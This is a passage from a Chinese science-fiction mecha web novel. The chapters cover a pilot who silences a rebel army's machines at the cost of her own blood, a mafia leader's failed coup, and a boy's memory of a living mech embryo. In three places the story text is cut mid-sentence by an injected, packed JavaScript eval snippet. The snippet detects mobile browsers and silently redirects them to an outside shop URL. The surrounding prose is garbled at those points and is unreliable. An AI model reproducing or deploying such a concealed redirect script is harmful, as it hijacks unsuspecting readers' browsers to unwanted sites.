郗灵正要动身,这时,队内频道响起莱茵的声音: “郗灵,能听到我的声音吗?” 郗灵回答:“能。” “你知道新十一军团吗?”莱茵问。 郗灵的心头颤了颤。 芬迪尔将军的军队…… 几秒后,郗灵意识到自己的失态,急忙回答:“我知道。” “根据情报,对面的叛军,正是新十一军团。”莱茵说。 什么?! 郗灵猛地抬头。 她穷尽目力,试图在漆黑无垠的宇宙中,看清对面叛军的模样。 但这道横亘在两军之间的停火地带,实在是太空旷了。 空旷得仿佛吞噬了时间的概念。 空旷得……仿佛连昔日的亡灵都不见踪影。 郗灵心中的激情和热血一瞬间冷却了。 这一刻,她终于清晰地意识到,莱茵的那句“军事、政治、经济,三者无法独立存在”意味着什么。 这意味着,她认识的任何人,都可能因为千丝万缕的联系,卷入这场战争。 莱茵连连呼唤:“郗灵?郗灵?” 郗灵回神:“我在。” “你好像有些心神不宁。” “莱茵,我不明白,我真的不明白。”郗灵说,“为什么……为什么新十一军团会出现在这里?” “因为这里是第七扇区,联邦最混乱的地区。”莱茵回答。 郗灵沉默。 莱茵反问:“郗灵,你对第七扇区印象如何?” “良民的地狱,罪犯的天堂,一个鞭子比法律更有威慑力的地方。” “新十一军团留在第七扇区,是因为只有在这里,他们才不会被中央星发现。”莱茵说,“但他们竟然为黑手党教母效力,这不仅是个错误的选择,还是个严肃的政治问题。” 郗灵突然问:“莱茵,你对芬迪尔·兰奇怎么看?” 莱茵中规中矩地回答:“初中一年级的历史教科书上,已经写明他是联邦的罪人。” “那么你呢?”郗灵又问,“你的意见,和教科书是一样的吗?” 话刚出口,郗灵就有些后悔了。 莱茵是联邦“太子”,是万千天才景仰的对象,更是总统的儿子。 无论从他接受的教育来看,还是从他自身的立场出发,他都不可能为芬迪尔说好话。 但郗灵不一样。 她从未接受过联邦的教育,又被联邦商人卖去矿星,虽然最后被萧寒剑救下,但她对联邦的感情始终比较淡漠。 更何况,她还在觐见之塔中,和芬迪尔一起度过了七年光阴。 她不觉得对维尔莱德无比忠诚的芬迪尔,是一个叛国者。 她更不觉得,一个愿意手把手教导她七年的人,是一个十恶不赦的坏人。 莱茵安静了一秒。 “不,他不是叛国者。”莱茵改口道,“他是国父维尔莱德的心腹,为联邦戎马一生,又在临死前,将第二、三、四扇区的主权无条件交给联邦——他是个英雄。” “但联邦为什么说他是叛国者?” “……” “为什么?莱茵,为什么?” “因为他离开了联邦,他没有为联邦所用。”莱茵轻声回答,“新十一军团是联邦战斗力最强的军队,他在国父去世后,带领新十一军团出走,无疑让当时本就弱小的联邦雪上加霜。” “当时的联邦,只有第一扇区的主权。芬迪尔在之后送上了第二、三、四扇区的主权,为联邦贡献了接近一半的版图。他有这么大的贡献,也要被叫叛国者吗?” “……” “莱茵?” “历史由胜利者书写,过去的胜负只在纸笔之间,我们能改写的,只有当下。”莱茵低声说。 轰! 巨大的花火盛放在宇宙尽头,龙北星已经深入敌营、大开杀戒。 郗灵摸了摸手腕上刚刚愈合的割伤。 那是她治疗夜哨时留下的伤口。 她太弱小了,只能眼睁睁看着夜哨鲜血横流,却连一丝痛苦都无法为它缓解。 她太弱小了,只能眼睁睁看着新十一军团以敌人的姿态出现,却连一句话也不能为芬迪尔辩解。 她站得还不够高,看得还不够远。 联邦乃至整个银河,于她而言都是一团迷雾,她至今仍只是个迷途的旅人,空有力量,却只会四处乱撞。 如果她更强大一点…… 如果她能像国父一样强大…… 莱茵轻声问:“郗灵?” 郗灵闭上双眼:“我在。” “你似乎很敬爱芬迪尔?” “在觐见之塔中,我和芬迪尔一起度过了七年时光。”郗灵说,“莱茵,他当了我整整七年的老师。” 莱茵陷入沉默。 “我知道觐见之塔是虚假的,里面的人全都是伊甸的子脑模拟出来的,但芬迪尔……他是真实的。”郗灵又说。 她的第一任主考官——子脑0732说过,芬迪尔的人格,是由芬迪尔的子脑亲自模拟的。 换言之,她认识的芬迪尔,就是芬迪尔本人。 她还记得那场只有短短十分钟的谈话。 在切断主考官监控的情况下,芬迪尔直到最后几秒钟,才颤抖着说出了那句话: ——“郗灵,我从未背叛联邦,我不是叛国者。” “我明白了。”莱茵打断了郗灵的思绪,“郗灵,我的计划需要调整,此时此刻的你,恐怕无法对新十一军团出手。” 郗灵低头看着自己的手心。 “不,”她坚定地说,“我可以。” 莱茵平静又不失锋芒地说:“芬迪尔是你的老师,新十一军团的大部分人,你都在觐见之塔与他们共事过。” 郗灵沉默。 “即便这些老兵已经无法踏上战场,他们的机甲却留存至今,如今参战的,正是这些机甲。”莱茵堪称尖锐地反问,“郗灵,你扪心自问——你真的不会手下留情吗?” 郗灵的双手一点点攥成了拳头。 “我不会。”她回答道,“战争没有正义可言,参战的双方都罪孽深重,无论他们,无论我们,都是手中淌满鲜血、无可饶恕的罪人。” 莱茵的语气变得柔和:“但是,你可以让人们身上的罪孽变得轻一点。” 郗灵看着攥成拳头的双手。 她没有说话。 “阿瑞斯军校的指挥官焦新叶选择以杀止杀,但我和焦新叶不同——因为有你,此战的胜利无需以鲜血点缀。”莱茵站在操作台前,手指轻轻拂过面前的草稿。 他舍弃了那个更为稳妥,却需要牺牲无数条人命的方案。 他决定把胜负押在郗灵一个人身上。 就像十位开国元帅,把胜负压在国父一个人身上一样。 “郗灵,我想兵不血刃,让敌方所有机甲熄火。”莱茵说,“你可以做到吗?” 郗灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16678007|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静了一瞬。 数天前,她曾在维尔莱德的帮助下,拨弄宇宙中的“弦”,奏响“大乐章”,让处于蓄能状态的生产机床强行哑火。 如果她能再次奏响“大乐章”…… 郗灵抬起伤痕累累的手,按上自己的心脏。 “我能。”郗灵坚定地回答。 ——即便没有维尔莱德的帮助,她至少还有一身滚烫的鲜血。 之前,她能以鲜血为代价,在短短三天内从中央星跃迁到第七扇区。 那么这一次,她同样能以鲜血为祭,再次奏响“大乐章”。 莱茵一眨不眨地盯着屏幕,光影在他脸上明明灭灭。 他翡翠色的眼眸一点点弯了起来:“郗灵,若你凯旋,我会为你端上一杯殷红的美酒。” 郗灵笑了:“好。” 嗡! 缭绕在龙姬周身的金色火焰,在一瞬的停滞后,开始如沸水般翻涌。 一只无形的手,正在稚嫩地拨弄宇宙中的弦。 粒子和波的运动开始变得活跃,它们携带着巨大的能量,向中央的弹琴者——郗灵汇聚过来。 金色的火焰开始升温,颜色从耀眼的金色,一点点变成冰冷的白色。 火焰温度越高时,颜色反而越冷。 雪白的龙姬不再像一颗燃烧的星星了。 此时此刻,她看起来像一颗寂冷的晚星,又像是一小堆冰冷的雪。 但她的身上散发着无数高频振动的谐波。 在谐波监测仪的实时图像中,她宛如一颗即将爆炸的恒星! 叛军中央,龙北星第一次主动停下了攻击。 他满脸愕然地看着周围的机甲——它们齐齐停止了动作。 片刻后,龙北星更加惊愕地发现,“超新星”的暴走也被迫终止了。 注射血清的后遗症开始出现,龙北星的眼前开始出现重影。 龙小葵在频道里大哭着喊:“哥!!!” “哥没事。”龙北星下意识回应。 他又恍惚地想,小葵到底多久没这样跟他说过话了? 那个扎着两条羊角辫、像个小跟屁虫似的可爱妹妹,到底是从什么时候起,变成如今这副叛逆又倔强的模样的? 这片银河沉浸在未知的能量场中,让所有暴虐的生命,都停止了杀戮的动作。 一滴鲜血从龙北星的眼前飘过,然后是两滴、三滴、四滴。 哪里来的血呢? 龙北星疑惑地想。 很快,他就意识到,这鲜血是从哪里来的了。 ——一颗白色的太阳,正缓缓地在这片银河中移动。 它散发着柔和的白光,所到之处,连漆黑的宇宙都被照亮。 但它的身上,正在迸发出一团又一团雾一样的鲜血。 龙北星怔怔地看着那颗“太阳”。 他从没见过这么黯淡的太阳,几乎像一颗即将熄灭的晚星。 但它分明又在释放着光亮。 “……我好像听到有人在唱歌。”少顷,龙北星沙哑地问,“小葵,卫惊鸿,你们听到了吗?” 无人应答。 正如那清澈悦耳,却无人共听的歌声一般。 正如那亘古冷寂,却孕育了无数生命的宇宙一般。 * 豌豆安静地看着面前的女人。 女人穿着肃穆的黑色长裙,戴着蕾丝长手套,脸上戴着细格网纱。 女人盯着豌豆:“你是谁?” “她是豌豆,没有姓。”突然,床上的老人说道,“莉莉丝,她很可爱,我很喜欢她。” 莉莉丝·施耐德沉默片刻。 在豌豆紧张的注视下,这位仿佛来自地狱的黑裙女子,轻轻提起裙摆,走到了肖恩爷爷的床边。 莉莉丝低下头,语气恭顺:“老师。” 顿了顿,她如同一个做错事的孩子,低声说道:“对不起,老师,我……输给了凤凰上将。” 95. 豌豆(六) 这并非一场私密谈话。 窗外,十数台机甲静静停放着,巨大的护盾笼罩住医院,隔绝了来自外界的炮弹和视线。 十几个士兵在机甲肩头上或站或坐,静静地监视着病房里发生的一切。 莉莉丝有些出神地看着窗外。 当莉莉丝来到这所医院时,她惊愕地发现,守护在这里的,竟然只是一群学生。 正如她没有想到,自己的手下竟然出现了内鬼。 当她武装夺取政权时,那些内鬼也同时将炮口对准了医院和学校。 一着不慎,满盘皆输。 “你的新政权,从建立到消亡,一共存在了多长时间?”肖恩突然问。 莉莉丝回神。 她苦涩地回答:“5小时37分钟。” “你虽然是我的学生,但我并没有教你什么东西,我仅仅是把新十一军团托付给你而已。”肖恩说,“所以,无论你走上怎样的道路,最终是成功还是失败,你都无需和我说对不起。” 莉莉丝深吸一口气。 她低声道:“但我需要您的帮助。” 而后,她看向豌豆:“豌豆,请你出去,我要和老师谈一些事情。” 豌豆看了看莉莉丝,又看向躺在床上的肖恩。 肖恩轻轻点头。 豌豆立刻站起身,毫不拖泥带水地走出了病房,还顺带关上了房门。 豌豆是个没有任何背景的孤女,无论肖恩还是莉莉丝,都知道这件事。 但这一刻,他们都不约而同地看着豌豆离开的背影。 “她的性格很像你。”肖恩说。 “我也这么觉得。”莉莉丝说。 “当年我收养你时,你也只有她这么大。”肖恩咳嗽两声,浑浊冷峻的老眼中浮现出一丝怀念,“你倔强不听人言,只有撞了南墙才会回头。我也不擅长教育孩子,任由你摸打滚爬,顶多只在你带着一身伤回来时,教你怎么自己处理伤口。” “您教给我的东西很有用。”莉莉丝说,“没有您,就没有今日的‘教母’。” 肖恩笑了:“说吧,你想问我什么事情?” 莉莉丝轻声说:“我想知道,自己是否走在一条正确的道路上。” 肖恩看着莉莉丝,静候下文。 莉莉丝叹了口气。 她穿着肃穆的黑裙,高大美丽如漆黑的圣母,但这声叹息让她一瞬间鲜活了起来。 她整理了下裙摆,随意在床边坐下:“老师,我自以为已经做得足够好,但我还是失败了。” “第七扇区归顺联邦,本就是一场貌合神离的政治表演。” “第七扇区拥有丰富的矿产,是兵家必争之地,而当时的联邦已经变得强大,丝毫不逊色于曾经的帝国。” “二十年前,为了自保,第七扇区领袖和总统签署条约,约定第七扇区归属联邦,联邦也要保证第七扇区拥有自治权。” “但所有人都知道,第七扇区只是暂时依附联邦,等某个时机来临,这片土地终究会宣布独立。” “第七扇区充斥着混乱和暴力,是银河中臭名昭著的罪恶之地。” “在这样的地方,光明的道路从来难行。” “我是您的弟子,本应行走在一条光明的道路上,但在这片黑色的土地上,我最终选择建立黑手党,在地底世界发展我的势力。” “我为那些在黑暗中诞生的厮杀感到兴奋,犹如鲨鱼在漆黑的海域中狩猎巡游。” “但我意识到,第七扇区或许可以容下一把染血的尖刀,但其中生活着的人民,始终需要光明的未来。” “我自以为只要心向光明,即使手段漆黑也没有关系。” “我以为我掌握了力量和方法,就可以发动一场成功的政变,让第七扇区不再浸泡在鲜血中。” “我明明已经成功了!” “我在总督去世的权力中空期,利用早就收买好的人手,打开了第七扇区首府的武库,并以最快的速度控制了警察局、广播电台和总督府。” “但一声炮响打碎了我的独立梦。” “我的手下竟然背叛了我!他率人袭击了各个避难点,尤其对学校和医院进行了重火力轰击。” “我已经杀了他,这是我和凤凰上将达成的第一个共识。” “我想不通他背叛我的理由:我许诺他金钱、地位、权力;我在他微末之际,救赎他于危难之中;况且,他必然清楚,背叛我的下场只有一个‘死’字。” “但这不重要,轰击医院和学校不是我的败因,这顶多只是个污点。” “让我真正耿耿于怀的,是新十一军团竟然败给了第七军团。” “不,应该说,是败给了一个初出茅庐的小姑娘!” “我可以接受在一场惨烈的战斗后,我因不敌对方,狼狈落败……但这样滑稽的结局,到底又算什么呢?” “一个人,一台机甲,一曲乐章——我们的机甲就全都哑了火!” “这根本不是一场正常的战斗!” “那个小姑娘直接打翻了棋盘,她杀死了战争!” “我不甘心!我不甘心!” 肖恩突然笑起来:“你真的只有不甘心吗?” 莉莉丝沉默。 肖恩浑浊的老眼闪过一丝精光。 他沉静地端详着这个已经称霸一方的强大女性,透过她的影子,凝视着过去那个倔强的小女孩。 肖恩问:“你知道,为什么我选择收养你吗?” 莉莉丝说:“因为我死缠烂打。当年,我抱着你的大腿不撒手,还把你的裤腿扯烂了一条。” “因为你是个女孩,而且是个野心勃勃的女孩。”肖恩回答。 莉莉丝一怔。 “莉莉丝,在这片银河中,男性属于过去,女性属于未来。”肖恩轻声说,“而现在的联邦,唯一的作用就是——孕育能在未来萌芽的种子。” “这个‘种子’,有且只有女性才能成为。” “联邦的前身是帝国,帝国实行了三千年的父权制度,这种制度的本质就是剥削和压迫,每个人的头上都有更高一级的剥削者,每个人都是奴隶,每个人都不得自由。” “唯一的例外,只有皇帝。” “但皇帝也被这套权力系统束缚着。” “皇帝必须时刻以伦理纲常来约束自己,并以天象来外化自己的道德。若哪里有旱涝蝗灾,便是他道德有亏,他便是个无可饶恕的罪人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687165|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “当然,你不必同情皇帝,他的地位配得上他的苦难。那些在底层挣扎求活的百姓,才是真正应该怜恤的对象。” “帝国覆灭后,那套剥削性质的父权制度也分崩离析。” “可你看一看如今的联邦?” “为了保住联邦,维尔莱德做出了太多的妥协和退让——联邦已经变成了一个四不像的怪物!” “那些贵族余孽并未被完全清算,他们成为了联邦的官员,重新融入了联邦的权力体系。” “诚然,他们是当时孱弱的联邦仅有的高素质人才,如果不吸纳他们,联邦将在一百多个人类政权的倾轧斗争中黯然退场。” “但是,这无疑意味着,帝国的幽灵寄生在了联邦的躯壳上。” “如果历史重演,联邦将变成下一个帝国。” “但如何才能改写这个结局?” “那就是推动女性成为掌权者,让那套剥削的父权制度,滚到地狱里去!” 肖恩看着莉莉丝的眼睛:“莉莉丝,我不擅长教养孩子,尤其你是一个女孩儿——杜尚别就是个典型的失败案例。你别看萧寒剑如今是人中龙凤,但那丫头的成就,没有一分是杜尚别那条老毒蛇的功劳。” 莉莉丝噗嗤一下笑了:“您应该尊称他为元帅。” “不,我恨他入骨。”肖恩平静地说,“他引诱维尔莱德赴死,强行开启了第一次大清洗。他固然是联邦的英雄,但在我心中,他只是个卑劣的小人。” 莉莉丝再次沉默。 她看向窗外—— 十数台机甲在外面安静地待机,待在机甲肩上的学生们,也一眨不眨地盯着这里。 莉莉丝的目光落在这些年轻的监视者身上。 他们不是第七扇区的人,他们中的绝大部分,都来自富饶的第一扇区。 联邦教科书中说:芬迪尔·兰奇是叛国者,是窃取联邦胜利果实的罪人。 但历史向来任人打扮,正义与邪恶的定夺,只在纸笔之间。 他们所接受的教育,塑造了他们的认知。 如今,当他们遵从萧寒剑的命令,来监听这场并不隐秘的私人谈话,心中又会作何感想? 是感慨第七扇区狼子野心? 还是嘲笑莉莉丝·施耐德不自量力? 又或许……这场只存在了五个小时的“独立宣言”,于他们而言,不过是仅能充当谈资的滑稽小事? 莉莉丝垂下眼眸。 “你认为你的失败,是因为战场上出现了一个巨大的变数,那个让所有机甲哑火的女孩,直接改写了你预想中的未来。”肖恩说,“莉莉丝,回答我,面对这样的结局,你的心中,真的只有不甘吗?” 莉莉丝抚摸别在胸前的胸针。 那是她的微型光脑。 而她浏览的最后一个页面,是她和维卡·德维尔潘的聊天记录。 【维卡·德维尔潘】:诺因尼说——我不想卷进这件事,你不必再找我了。 “不,不只是不甘。”莉莉丝一点点攥紧胸针。 她渴望这种“打破规则”的力量。 不对,不是渴望。 是垂涎。 是想将这力量据为己有的……垂涎。 96. 豌豆(七) 郗灵从驾驶舱里爬出来,浑身冒着淡粉色的蒸汽,发丝间挂着一滴滴殷红的液体。 舱内淡琥珀色的母液已经变得鲜红如血,在舱门开启的一刹那,血红的液体如瀑布般倾泻而下,在地面上留下巨大的水洼。 郗灵甩干身上残留的母液,淡红的水渍溅得到处都是。 一件温暖的外套披在郗灵身上。 郗灵下意识拢紧外套,又睁开挂满水珠的睫毛—— 埃德蒙笑眯眯:“是我。” 郗灵有点诧异:“上将呢?” “上将还在莉莉丝女士那里,她们的谈话还没有结束。”埃德蒙说。 见郗灵张嘴打算追问,埃德蒙预卜先知般主动说:“第七扇区宣布独立的事情,目前还没有上报中央星。按上将的意思,她打算把这件事压下来。” 郗灵有些发愣。 埃德蒙半蹲下来,看着坐在地上的郗灵:“郗灵,你做得很好,我从未想过,一场战役可以这样结束。” 郗灵打了个喷嚏,双臂抱紧自己:“我有点冷。” 演奏大乐章的代价,比她想象中更大。 她还没有完全长大,无法像维尔莱德一样,游刃有余地使用龙的能力。 因此,她只能以自己的鲜血为媒介,一遍又一遍地尝试拨弄宇宙中的弦。 她失去了太多的鲜血。 她的心脏差一点就要停止跳动了。 但这一战,没有任何人牺牲。 郗灵感到十分欣慰。 确认自己有力气走路后,郗灵来不及收拾自己,就踉踉跄跄地跑去了厨房。 今天值日的炊事官,是郗灵认识的那一位。 炊事官早就接到了埃德蒙的指令,连忙把热饭热菜端给郗灵。 郗灵疯狂往嘴里塞东西,一通胡吃海喝后,才感觉冰冷的身体稍微暖和了一点。 郗灵身上披着埃德蒙的外套,屁股底下坐着炊事官塞来的小板凳。 她苍白的十指捧着饭碗,脸上也没有什么血色。 即使靠着最暖和的灶台,但她还是觉得,骨子里泛着一股挥之不去的冷意。 炊事官观察郗灵的脸色,递来一碗热汤:“给。” 郗灵把吃空的饭碗放到灶台上,又接住那碗热汤。 她没有喝。 她把那碗热汤抵着心口捧住,脸庞俯在上面,一边嗅闻碗里食物的香气,一边用热腾腾的蒸汽熏烤冰冷的皮肤。 这是她第一次这么虚弱。 即使在那艘颠簸拥挤的黑船上,或者在深不见底的矿井里,她都没有这么虚弱过。 炊事官心疼地看着郗灵——这个小姑娘病恹恹地蜷坐在角落,完全没有了平日生龙活虎的模样。 一只戴着白手套的手递来了一管液体:“要试试这个吗?” 郗灵抬起头。 一张满月般温柔的脸映入郗灵的眼帘。 焦新叶半蹲在郗灵跟前:“我是焦新叶,阿瑞斯军校的指挥。” 郗灵蜷坐在小板凳上,把外套拢紧了点:“郗灵,维尔莱德军校。” “你看起来很虚弱。”焦新叶摘下一只手套,用温热的手背贴了贴郗灵的脸颊,“连温暖的食物都无法让你暖和起来吗?这一次,你可真是元气大伤了。” 郗灵捧着那碗热汤:“龙北星是你的队友?” 除了龙北星的队友,她想不出阿瑞斯军校还有谁会找自己。 “他是我的队长。”焦新叶回答道,又把手中那管液体,不动声色地塞进了郗灵怀里。 郗灵冰冷的手指攥着那管液体。 说来奇怪,她明明连骨子里都泛着冷,可当她握住那管液体时,她的手竟然一点点暖和了起来。 焦新叶安静地看着郗灵。 郗灵喝光碗里的热汤,把汤碗放到一边,又像抱住烤手的暖壶似的,把那管液体抱得紧紧的。 焦新叶看着郗灵放松的表情,问道:“怎么样,是不是觉得很温暖?” 郗灵点头:“嗯。” “这是血清,龙北星注射的那种血清。”焦新叶说。 郗灵紧攥着那管液体的手颤了一下。 这一刻,她如同抓握住滚烫的炭火。 这管血清,是龙血的血清! 对大量失血的她而言,龙血的诱惑毋庸置疑。 但焦新叶……为什么会想到把血清送给她? 焦新叶把郗灵的变化看在眼里。 她轻柔地说:“郗灵,我是来找你合作的。” 郗灵盯着焦新叶:“合作?你是指哪方面的合作?” 郗灵心头有一个不妙的猜想。 血清是人造羊水的副产品。 焦新叶是否知道,人造羊水的原材料是龙的鲜血呢? 焦新叶是否已经猜到,郗灵就是龙呢? “我想改良血清。”焦新叶的回答可以说很直白,也可以说很含糊。 她始终没有明确表示,自己是否知道龙的存在。 见郗灵表情不变,焦新叶继续道:“阿瑞斯军校的人,都十分依赖血清,而我的队长龙北星,因为对血清具有极高的耐性,所以,他是注射血清次数最多的人——这不是一件好事,至少,我希望他能活得更久一点。” 郗灵看着管中淡红色的血清。 她能感受到,相比温和的人造羊水,这份血清里蕴含着一股暴烈的力量。 昔年,维尔莱德用自己的鲜血,开启了联邦第一次大清洗。 如今,阿瑞斯军校竟敢萃取龙血,借助龙的力量来提升自己的实力。 真是悍不畏死。 真是胆大至极。 郗灵站起身,把那管血清揣进了怀里:“龙北星现在在哪儿?我去看看他。” “他在医疗部。”焦新叶说,“但他现在说不了话,因为他已经重度昏迷了。” 郗灵一愣。 “为了深入敌营,这一次,他选择了动脉注射。”焦新叶语气温柔,但郗灵却品出了一股冷意,“他是个鲁莽的家伙,看不清这场战争的本质,自以为凭一腔热血,就能减少无谓的牺牲。” 焦新叶顿了顿,收敛起流露了一瞬的冷峻,恢复了柔和的神情。 她对郗灵说:“没办法,他始终只是人类,只是比寻常人健壮一点——他不是你,无法以一己之力颠覆全局。” 郗灵心头的猜想愈发明晰。 在焦新叶的注视下,郗灵举起那管血清:“关于血清,你知道多少事情?” ——你知道这种血清,到底是从谁的血液中提取出来的吗? 焦新叶眯起双眼:“全部。” ——你知道多少,我就知道多少。 ——至于“全部”指代多少真相,一切全凭你的猜想。 郗灵并不满意这个回答:“你不能指望用这种含糊的回答换取合作的可能,我们的合作,最好建立在彼此信任的基础上。” ——你不真诚。 ——我不喜欢不真诚的人。 焦新叶却缓缓摇头:“不,在这世上,更多的合作是建立在共同的利益上的。” 见郗灵沉默不语,焦新叶轻声说:“郗灵,在这种事情上,我们最好是因利而聚、因利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691373|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而散。无论血清还是人造羊水,还是……这些东西的本源,都是危险而不可直言的东西。” ——我能付出的真诚是有限的。 ——你能接受这样的我吗? 郗灵继续追问:“你可以说得更明白一点。” ——你知道龙吗? ——你知道我是龙吗? 焦新叶一语不发,低垂的睫毛掩着飞快转动的眼珠。 片刻后,她抬眼看向郗灵,露出一抹清浅的笑容。 那笑容礼节周全,却无半分真心。 “抱歉,今日叨扰了。”焦新叶语气温和,“这支血清算是一份见面礼,下一次,希望我们能相处愉快。” 但郗灵听得分明——没有下次了。 焦新叶正要转身,一阵“噔噔”的脚步声突然响起。 墨轻衣大步流星地走进后厨,像高傲的模特走在T台上。 她像上一次撞开雪理一样,撞开了挡在路上的焦新叶,气势汹汹地站在郗灵面前。 焦新叶被撞得一个趔趄,脸上满是错愕。 根据她的表情,她的脑瓜子估计被撞得嗡嗡响。 郗灵有些失语地看着墨轻衣:“你有事?” “郗灵,我来求你了。”墨轻衣用最硬的语气说着最怂的话,“我知道自己哪里不对了,对不起,我不该撞到雪理,你喜欢雪理,所以你不喜欢我。” 郗灵:“……” 焦新叶:“……” 焦新叶指向自己:“墨大小姐,那我呢?” 墨轻衣头也不回:“你活该!” 焦新叶:“…………” “你刚才的话,我全都听到了!”墨轻衣转头瞪了焦新叶一眼,又伸出手,抓向郗灵的手腕。 郗灵下意识躲闪。 但墨轻衣的手速极快,力道却轻极了。 她几乎像是托起一片羽毛一样,轻轻托起了郗灵的手腕,又伸出指尖,小心地触碰上面的伤疤。 那是郗灵为了治疗夜哨才留下的伤疤。 那些伤疤已经愈合,却依然狰狞可怖。 “龙北星躺在医疗舱里,你却一次也没有去探望他。郗灵虚弱得站都站不稳,你却用含糊的语言折磨她。”墨轻衣的声音又快又利,像锋利的小刀,“焦新叶,你的心是石头做的,你这个人真是冷透了!” 焦新叶看着墨轻衣,突然笑了。 因为人无语的时候,真的会笑出来。 她看着墨轻衣,仿佛看着在一只棋盘上昂首挺胸、来回走动的鸽子:“墨大小姐,难道我去看望龙北星,他就会好起来吗?” “不会。”墨轻衣说,“但我就是最讨厌你这一点,你从不做多余的事,你这个精明又吝啬的家伙,连一点多余的爱都不肯分给龙北星。” “进步很大啊,墨大小姐。”焦新叶哂笑,“都说墨大小姐不懂人情世故,但依我看,你分明懂得很啊。” 墨轻衣说:“我知道你在嘲笑我,焦新叶。” 焦新叶微笑:“嘲笑?不,我没有。” “我听到了,你说我是个笨蛋。”墨轻衣说,“我承认,通过看星网上的评论来学习怎么和人沟通,真的有点蠢,因为骂我的人真的很多——但我学得很快,不是吗?” 焦新叶沉默。 郗灵站在一旁,沉默地端起手边的饭碗。 她有点饿了。 事已至此,先吃饭吧。 突然,郗灵的光脑“滴滴”响了起来。 【莱茵】:来会议室 【莱茵】:渡鸦检举了维卡,维卡可能要上军事法庭了 97. 豌豆(八) 渡鸦写下了那封检举信,却恍惚无法回忆,当时写信的自己到底怀有怎样的心情。 这感觉,就像他第一次听见“夜哨”的声音时那样。 机甲是人造生命,天生不应存在于世间。 但昔年的联邦群狼环伺,需要强大的力量来自保。于是,机甲这种扭曲的生命,便罪恶地诞生于白璐元帅的手中。 渡鸦始终记得,八岁那年,他第一次见到机甲胚胎的情景。 年幼的小渡鸦早已耳闻,机甲不是冰冷的金属,而是鲜活温暖的生命。 他在父亲的陪同下,进入了研究院对外开放的区域。 他看见,一根巨大的透明立柱立在房间中央,一枚形状模糊的肉块浸泡在淡琥珀色的液体中,静静地悬浮在透明立柱中央。 那是一个标本。 但小渡鸦意识到,浸泡着这个标本的液体,绝不是防腐用的福尔马林。 “那是什么?”小渡鸦问。 “那是胚胎,机甲里的生命体。”他的父亲回答,而后低低地补充,“那是罪孽。” 胚胎。 罪孽。 小渡鸦不说话了。 小渡鸦盯着胚胎,却看见那枚本应死去的“胚胎”标本,似乎蠕动了一下。 他揉了揉眼睛。 ……是自己看花眼了吗? 回到家后,那枚胚胎蠕动的画面,仍在小渡鸦的脑海里盘旋。 小渡鸦关上房门,鬼使神差地拆开了家里的清洁型机甲。 他紧张地关掉了清洁型机甲的自动报警功能,生怕自己的举动被人发现。 但是,直到他成功剥下了清洁型机甲的外壳,那台机甲始终都没有发出一点声音。 冰冷的机壳被剥下,犹如剥开一只坚硬的螃蟹。 但机甲里面的胚胎,竟比蟹肉还要脆弱柔软。 小渡鸦双手沾满鲜血,坐在地板上,瞪圆双眼盯着露出来的胚胎。 它是红色的。 它的血是红色的,它的肉也是红色的,它的全身都是红色的。 它没有皮肤,身上突起的部分,是肉芽般畸形的手与脚。 它没有眼睑的艳丽眼珠安静地凝视着小渡鸦。 ——失去眼灯的遮盖后,机甲的目光再无机械造物的冰冷,如任何一个有智的生灵般,纯洁、美丽、温柔。 “……小……主人……”胚胎断断续续地说,“对不起……我……吓到……你……了吗?” 小渡鸦的脑中嗡嗡作响。 他晕了过去。 他醒来后,看见父亲守在他的床头。 父亲告诉他,他之所以会昏迷,是因为承受了来自机甲的精神污染,而那层坚硬的机壳,原是用来隔离机甲散发的谐波的。 “它是活的!它是活的!”小渡鸦躺在床上,用力挥舞自己的双手。 “我知道,拉文。”父亲平静地回应。 “我剥掉了它的壳,它该有多痛啊!”小渡鸦颤声问,“它、它会死吗?” 父亲沉默片刻。 “它只是一台机甲,拉文。”父亲看着小渡鸦噙满泪水的眼睛,面色如镜子般平静,“但是,如果你喜欢它,我会为它定制一个墓碑。” 一天后,小渡鸦恍惚地站在一块小小的墓碑前。 诺因尼家祖宅的后花园里,有一片家族墓地。 那台清洁型机甲被葬在宠物墓地里。 它的邻居是一只死于36年前的白猫——那一年,帝国甚至还没有灭亡。 小渡鸦看着两块墓碑上的文字。 白猫的墓碑上刻着帝国语: 【雪球|帝国历3007-3015】 机甲的墓碑上,刻着帝国语与通用语两种文字: 【C-CL-047清洁型机甲|新历34-35】 小渡鸦安静地看着,突然难过地瘪起了嘴。 “它连一个名字都没有。”豆大的泪水从小渡鸦眼里掉出来,“我该给它取一个名字的……它应该知道,自己可以有一个名字的。” 父亲站在小渡鸦身旁,逆光模糊了他的面庞,看不清表情。 父亲说:“给他取一个名字,你就再也忘不了他了。拉文,我不希望你的一生中,出现太多刻骨铭心的离别。” 